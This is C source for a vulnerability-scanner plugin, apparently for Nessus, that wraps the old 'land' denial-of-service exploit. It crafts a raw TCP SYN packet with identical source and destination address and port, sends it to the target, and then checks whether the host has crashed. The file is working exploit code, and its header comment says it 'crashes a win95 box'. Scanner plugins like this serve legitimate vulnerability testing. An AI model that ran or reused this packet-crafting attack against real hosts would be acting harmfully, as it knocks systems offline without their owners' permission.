/*
 * 
 * land
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
/* land.c by m3lt, FLC
   crashes a win95 box */

#include <includes.h>

#include <netinet/ip.h>
#include <netinet/udp.h>
#ifdef BSD
#include <netinet/tcp.h>
#endif


/* Minor portability tweaks. --KGB */
#if (!defined(BSD) && (!defined(__GLIBC__) || __GLIBC__ < 2 || defined(__powerpc__)))
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
#else
#include <netinet/tcp.h>

#ifdef HAVE_UCBINCLUDE
#ifdef BSD
#undef BSD
#else
#define BSD
#endif
#endif
#ifndef BSD
#define IP_TCP IPPROTO_TCP
#define th_sport source
#define th_dport dest
#define th_seq seq
#define th_off doff
#define th_win window
#define th_sum check
#endif /* BSD */
#endif /* GLIBC */

#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#endif
#ifdef HAVE_NETINET_TCPIP_H
#define n_long long
#include <netinet/ip_var.h>
#include <netinet/tcpip.h>
#include <netinet/ip.h>
#ifndef BSD
#define ip iphdr
#define tcphdr tcpiphdr
#endif /* BSD */
#endif
#define NAME "land"
#define DESC "\
Some implementations of TCP/IP are vulnerable to packets that are crafted\n\
in a particular way (a SYN packet in which the source address and port\n\
are the same as the destination--i.e., spoofed).\n\
This plugin tries to crash a remote host using this attack\n\n\
Risk factor : high"
#define COPYRIGHT "M3lt, FLC"
#define SUMM "denial of service using the 'land' attack"

struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

int test_open_port(struct arglist * args);
PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}

#undef ip
PlugExport int plugin_run(struct arglist * args);
PlugExport int plugin_run(struct arglist * args)
{
	struct in_addr * adr;
        struct sockaddr_in sin;
        int sock;
        char buffer[40];
#ifndef BSD
        struct iphdr * ipheader=(struct iphdr *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
#else
        struct ip * ipheader=(struct ip *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
#endif
        struct pseudohdr pseudoheader;
	int on;


        bzero(&sin,sizeof(struct sockaddr_in));
        sin.sin_family=AF_INET;
        adr = plug_get_host_ip(args);
	sin.sin_addr = *adr;
	sin.sin_port = htons(rand()%65000);

        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                return(-1);
        }
#ifndef BSD
        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
#else
	 bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
#endif

#ifndef BSD
        ipheader->version=4;
        ipheader->ihl=sizeof(struct iphdr)/4;
        ipheader->tot_len=FIX(sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->id=htons(0xF1C);
        ipheader->ttl=255;
        ipheader->protocol=IP_TCP;
        ipheader->saddr=sin.sin_addr.s_addr;
        ipheader->daddr=sin.sin_addr.s_addr;
#else
	ipheader->ip_v=4;
        ipheader->ip_hl=sizeof(struct ip)/4;
        ipheader->ip_len=FIX(sizeof(struct ip)+sizeof(struct tcphdr));
        ipheader->ip_id=htons(0xF1C);
        ipheader->ip_ttl=255;
        ipheader->ip_p=IPPROTO_TCP;
        ipheader->ip_src=sin.sin_addr;
        ipheader->ip_dst=sin.sin_addr;
#endif

#ifndef BSD
	tcpheader->th_sport=sin.sin_port;
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
#if (!defined(__GLIBC__) || __GLIBC__ < 2 || defined(__powerpc__))
	tcpheader->th_flags=TH_SYN;
#else
	tcpheader->syn=1;
#endif /* GLIBC */
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);
#else /* BSD */
	tcpheader->th_sport=sin.sin_port;
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
        tcpheader->th_flags=TH_SYN;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);
#endif /* ndef BSD */        
        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
#ifndef BSD
        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
#else
        if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
#endif   
        {
          return(-1);
        }


        socket_close(sock);
        if(!(on=test_open_port(args)))post_hole(args, -1, 
"A denial of service could be perfomed using the 'land' attack
Solution : contact your vendor for a fix");
 if(on==-1)post_info(args, -1, 
"It *may* be possible that the remote host crashed after the 'land' attack,
although it could not be verified");
        return(0);
}

int test_open_port(struct arglist * args)
{
 struct arglist * host; 
 struct arglist * ports;
 int i;
 int soc;

 host = arg_get_value(args, "HOSTNAME");
 ports = arg_get_value(host, "PORTS");
 if(ports && ports->name)i = atoi(ports->name);
 else return(-1);
 
 if((soc = open_sock_tcp(args, i))>0){
 	socket_close(soc);
 	return(1);
 	}
 else return(0);
}
